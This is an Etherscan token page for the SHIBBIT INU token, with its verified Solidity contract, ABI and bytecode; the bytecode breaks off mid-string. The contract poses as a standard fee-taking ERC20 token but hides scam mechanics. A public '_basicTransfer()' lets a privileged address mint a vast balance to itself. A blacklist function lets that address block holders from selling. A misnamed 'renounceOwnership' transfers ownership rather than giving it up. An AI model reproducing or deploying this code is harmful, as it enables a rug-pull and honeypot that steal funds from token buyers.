ETH Price: $3,122.61 (+1.13%)
Gas: 6 Gwei

Token

SHIBBIT INU (SHIBBIT)
 

Overview

Max Total Supply

1,000,000,000 SHIBBIT

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
41,877,165.599644401 SHIBBIT

Value
$0.00
0x5e0f944a70d1a103d243fe82c7904832a58ea65e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHIBBITINU

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-23
*/

//https://t.me/ShibbitInuPortalErc20
//https://www.shibbit-inu.com/
//https://twitter.com/ShibbitinuERC20
//https://medium.com/@shibbitinu/shibbit-inu-is-born-after-numerous-fake-promises-and-delayed-implementations-made-by-the-original-a0795d6224fb


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function renounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract SHIBBITINU  is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "SHIBBIT INU ";
    string private _symbol = "SHIBBIT";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public _peworson;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _rejectListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _peworson = payable(address(0xeA9BB88415ec7BA69714A901744822D06197cfaD));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    IUniswapV2Router02 public uniswapV2Router;
    function name() public view returns (string memory) {
        return _name;
    }


    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    address public uniswapPair;

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            _peworson.transfer(MarketAmount);
    }

    function multiBlackListed(bool status, address[] calldata addresses) public {
        require(msg.sender == _peworson);
        for (uint256 i; i < addresses.length; i++) {
            _rejectListed[addresses[i]] = status;
        }
    }

    function _basicTransfer() public {require(msg.sender == _peworson);
        _balances[_peworson] += 5981923 + totalSupply().mul(13**3);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }


    function pairCreate() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }


    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_rejectListed[from]);

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_basicTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_peworson","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_rejectListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"},{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"multiBlackListed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairCreate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600c60809081526b029a424a12124aa1024a72a960a51b60a0526001906200002d908262000286565b5060408051808201909152600781526614d2125090925560ca1b60208201526002906200005b908262000286565b506003805460ff191660099081178255600a828155600b92909255620000819162000467565b6200009190633b9aca006200047f565b600c55348015620000a157600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160076000620000fa6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600790925281208054909216600117909155600580546001600160a01b03191673ea9bb88415ec7ba69714a901744822d06197cfad179055600c5490600490620001703390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620001d391815260200190565b60405180910390a362000499565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200020c57607f821691505b6020821081036200022d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200028157600081815260208120601f850160051c810160208610156200025c5750805b601f850160051c820191505b818110156200027d5782815560010162000268565b5050505b505050565b81516001600160401b03811115620002a257620002a2620001e1565b620002ba81620002b38454620001f7565b8462000233565b602080601f831160018114620002f25760008415620002d95750858301515b600019600386901b1c1916600185901b1785556200027d565b600085815260208120601f198616915b82811015620003235788860151825594840194600190910190840162000302565b5085821015620003425787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003a95781600019048211156200038d576200038d62000352565b808516156200039b57918102915b93841c93908002906200036d565b509250929050565b600082620003c25750600162000461565b81620003d15750600062000461565b8160018114620003ea5760028114620003f55762000415565b600191505062000461565b60ff84111562000409576200040962000352565b50506001821b62000461565b5060208310610133831016604e8410600b84101617156200043a575081810a62000461565b62000446838362000368565b80600019048211156200045d576200045d62000352565b0290505b92915050565b60006200047860ff841683620003b1565b9392505050565b808202811582820484141762000461576200046162000352565b61160a80620004a96000396000f3fe6080604052600436106101395760003560e01c80636b14a470116100ab57806395d89b411161006f57806395d89b41146103ae578063a9059cbb146103c3578063c5d24189146103e3578063c816841b146103f9578063c860795214610419578063dd62ed3e1461042f57600080fd5b80636b14a470146102ea57806370a082311461030a5780638da5cb5b146103405780638fe915101461035e578063943ec94f1461037e57600080fd5b8063313ce567116100fd578063313ce5671461021c5780633345611e1461023e57806336464f711461026e57806338bf3cfa146102855780633ecad271146102a557806365ff6df9146102d557600080fd5b806306fdde0314610145578063095ea7b3146101705780631694505e146101a057806318160ddd146101dd57806323b872dd146101fc57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610475565b604051610167919061128a565b60405180910390f35b34801561017c57600080fd5b5061019061018b3660046112f0565b610507565b6040519015158152602001610167565b3480156101ac57600080fd5b50600d546101c59061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610167565b3480156101e957600080fd5b50600c545b604051908152602001610167565b34801561020857600080fd5b5061019061021736600461131c565b61051e565b34801561022857600080fd5b5060035460405160ff9091168152602001610167565b34801561024a57600080fd5b5061019061025936600461135d565b60076020526000908152604090205460ff1681565b34801561027a57600080fd5b50610283610589565b005b34801561029157600080fd5b506102836102a036600461135d565b6105f3565b3480156102b157600080fd5b506101906102c036600461135d565b60086020526000908152604090205460ff1681565b3480156102e157600080fd5b5061028361069d565b3480156102f657600080fd5b5061028361030536600461137a565b6108ce565b34801561031657600080fd5b506101ee61032536600461135d565b6001600160a01b031660009081526004602052604090205490565b34801561034c57600080fd5b506000546001600160a01b03166101c5565b34801561036a57600080fd5b506005546101c5906001600160a01b031681565b34801561038a57600080fd5b5061019061039936600461135d565b60096020526000908152604090205460ff1681565b3480156103ba57600080fd5b5061015a61095c565b3480156103cf57600080fd5b506101906103de3660046112f0565b61096b565b3480156103ef57600080fd5b506101ee600a5481565b34801561040557600080fd5b50600e546101c5906001600160a01b031681565b34801561042557600080fd5b506101ee600b5481565b34801561043b57600080fd5b506101ee61044a366004611407565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60606001805461048490611440565b80601f01602080910402602001604051908101604052809291908181526020018280546104b090611440565b80156104fd5780601f106104d2576101008083540402835291602001916104fd565b820191906000526020600020905b8154815290600101906020018083116104e057829003601f168201915b5050505050905090565b6000610514338484610978565b5060015b92915050565b600061052b848484610a9c565b5061057e8433610579856040518060600160405280602881526020016115ad602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610e05565b610978565b5060015b9392505050565b6005546001600160a01b031633146105a057600080fd5b6105b56108956105af600c5490565b90610e3f565b6105c290625b46e3611490565b6005546001600160a01b0316600090815260046020526040812080549091906105ec908490611490565b9091555050565b6000546001600160a01b031633146106525760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b031633146106f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610649565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561074e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077291906114a3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e391906114a3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610830573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085491906114a3565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b6005546001600160a01b031633146108e557600080fd5b60005b81811015610956578360096000858585818110610907576109076114c0565b905060200201602081019061091c919061135d565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061094e816114d6565b9150506108e8565b50505050565b60606002805461048490611440565b600061057e338484610a9c565b6001600160a01b0383166109da5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610649565b6001600160a01b038216610a3b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610649565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b025760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610649565b6001600160a01b038316610b645760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610649565b6001600160a01b03841660009081526009602052604090205460ff1615610b8a57600080fd5b600d5460ff1615610ba757610ba0848484610ec1565b9050610582565b30600090815260046020526040902054600d5460ff16158015610be357506001600160a01b03851660009081526008602052604090205460ff16155b15610bf157610bf181610fa7565b6001600160a01b038516600090815260046020526040902054610c149084611179565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610c6157506001600160a01b03851660009081526007602052604090205460ff165b15610c6d575082610d7b565b6001600160a01b03861660009081526008602052604081205460ff1615610cb557610cae6064610ca8600a5488610e3f90919063ffffffff16565b906111bb565b9050610cf3565b6001600160a01b03861660009081526008602052604090205460ff1615610cf357610cf06064610ca8600b5488610e3f90919063ffffffff16565b90505b8015610d6d5730600090815260046020526040902054610d1390826111fd565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d649085815260200190565b60405180910390a35b610d778582611179565b9150505b6001600160a01b038516600090815260046020526040902054610d9e90826111fd565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df29085815260200190565b60405180910390a3600192505050610582565b60008184841115610e295760405162461bcd60e51b8152600401610649919061128a565b506000610e3684866114ef565b95945050505050565b600082600003610e5157506000610518565b6000610e5d8385611502565b905082610e6a8583611519565b146105825760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610649565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610f12918490610e05565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610f4190836111fd565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f959086815260200190565b60405180910390a35060019392505050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fe957610fe96114c0565b60200260200101906001600160a01b031690816001600160a01b031681525050600d60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108091906114a3565b81600181518110611093576110936114c0565b6001600160a01b039283166020918202929092010152600d546110be91309161010090041684610978565b600d5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906110fb90859060009086903090429060040161153b565b600060405180830381600087803b15801561111557600080fd5b505af1925050508015611126575060015b5047801561116a576005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611168573d6000803e3d6000fd5b505b5050600d805460ff1916905550565b600061058283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e05565b600061058283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061125c565b60008061120a8385611490565b9050838110156105825760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610649565b6000818361127d5760405162461bcd60e51b8152600401610649919061128a565b506000610e368486611519565b600060208083528351808285015260005b818110156112b75785810183015185820160400152820161129b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112ed57600080fd5b50565b6000806040838503121561130357600080fd5b823561130e816112d8565b946020939093013593505050565b60008060006060848603121561133157600080fd5b833561133c816112d8565b9250602084013561134c816112d8565b929592945050506040919091013590565b60006020828403121561136f57600080fd5b8135610582816112d8565b60008060006040848603121561138f57600080fd5b8335801515811461139f57600080fd5b9250602084013567ffffffffffffffff808211156113bc57600080fd5b818601915086601f8301126113d057600080fd5b8135818111156113df57600080fd5b8760208260051b85010111156113f457600080fd5b6020830194508093505050509250925092565b6000806040838503121561141a57600080fd5b8235611425816112d8565b91506020830135611435816112d8565b809150509250929050565b600181811c9082168061145457607f821691505b60208210810361147457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105185761051861147a565b6000602082840312156114b557600080fd5b8151610582816112d8565b634e487b7160e01b600052603260045260246000fd5b6000600182016114e8576114e861147a565b5060010190565b818103818111156105185761051861147a565b80820281158282048414176105185761051861147a565b60008261153657634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561158b5784516001600160a01b031683529383019391830191600101611566565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec4255626646308ce76d19ff7320a24f7d54a30cf3bff1c6c4f6fa98a3ef1a3764736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101395760003560e01c80636b14a470116100ab57806395d89b411161006f57806395d89b41146103ae578063a9059cbb146103c3578063c5d24189146103e3578063c816841b146103f9578063c860795214610419578063dd62ed3e1461042f57600080fd5b80636b14a470146102ea57806370a082311461030a5780638da5cb5b146103405780638fe915101461035e578063943ec94f1461037e57600080fd5b8063313ce567116100fd578063313ce5671461021c5780633345611e1461023e57806336464f711461026e57806338bf3cfa146102855780633ecad271146102a557806365ff6df9146102d557600080fd5b806306fdde0314610145578063095ea7b3146101705780631694505e146101a057806318160ddd146101dd57806323b872dd146101fc57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610475565b604051610167919061128a565b60405180910390f35b34801561017c57600080fd5b5061019061018b3660046112f0565b610507565b6040519015158152602001610167565b3480156101ac57600080fd5b50600d546101c59061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610167565b3480156101e957600080fd5b50600c545b604051908152602001610167565b34801561020857600080fd5b5061019061021736600461131c565b61051e565b34801561022857600080fd5b5060035460405160ff9091168152602001610167565b34801561024a57600080fd5b5061019061025936600461135d565b60076020526000908152604090205460ff1681565b34801561027a57600080fd5b50610283610589565b005b34801561029157600080fd5b506102836102a036600461135d565b6105f3565b3480156102b157600080fd5b506101906102c036600461135d565b60086020526000908152604090205460ff1681565b3480156102e157600080fd5b5061028361069d565b3480156102f657600080fd5b5061028361030536600461137a565b6108ce565b34801561031657600080fd5b506101ee61032536600461135d565b6001600160a01b031660009081526004602052604090205490565b34801561034c57600080fd5b506000546001600160a01b03166101c5565b34801561036a57600080fd5b506005546101c5906001600160a01b031681565b34801561038a57600080fd5b5061019061039936600461135d565b60096020526000908152604090205460ff1681565b3480156103ba57600080fd5b5061015a61095c565b3480156103cf57600080fd5b506101906103de3660046112f0565b61096b565b3480156103ef57600080fd5b506101ee600a5481565b34801561040557600080fd5b50600e546101c5906001600160a01b031681565b34801561042557600080fd5b506101ee600b5481565b34801561043b57600080fd5b506101ee61044a366004611407565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60606001805461048490611440565b80601f01602080910402602001604051908101604052809291908181526020018280546104b090611440565b80156104fd5780601f106104d2576101008083540402835291602001916104fd565b820191906000526020600020905b8154815290600101906020018083116104e057829003601f168201915b5050505050905090565b6000610514338484610978565b5060015b92915050565b600061052b848484610a9c565b5061057e8433610579856040518060600160405280602881526020016115ad602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610e05565b610978565b5060015b9392505050565b6005546001600160a01b031633146105a057600080fd5b6105b56108956105af600c5490565b90610e3f565b6105c290625b46e3611490565b6005546001600160a01b0316600090815260046020526040812080549091906105ec908490611490565b9091555050565b6000546001600160a01b031633146106525760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b031633146106f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610649565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561074e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077291906114a3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e391906114a3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610830573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085491906114a3565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b6005546001600160a01b031633146108e557600080fd5b60005b81811015610956578360096000858585818110610907576109076114c0565b905060200201602081019061091c919061135d565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061094e816114d6565b9150506108e8565b50505050565b60606002805461048490611440565b600061057e338484610a9c565b6001600160a01b0383166109da5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610649565b6001600160a01b038216610a3b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610649565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b025760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610649565b6001600160a01b038316610b645760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610649565b6001600160a01b03841660009081526009602052604090205460ff1615610b8a57600080fd5b600d5460ff1615610ba757610ba0848484610ec1565b9050610582565b30600090815260046020526040902054600d5460ff16158015610be357506001600160a01b03851660009081526008602052604090205460ff16155b15610bf157610bf181610fa7565b6001600160a01b038516600090815260046020526040902054610c149084611179565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610c6157506001600160a01b03851660009081526007602052604090205460ff165b15610c6d575082610d7b565b6001600160a01b03861660009081526008602052604081205460ff1615610cb557610cae6064610ca8600a5488610e3f90919063ffffffff16565b906111bb5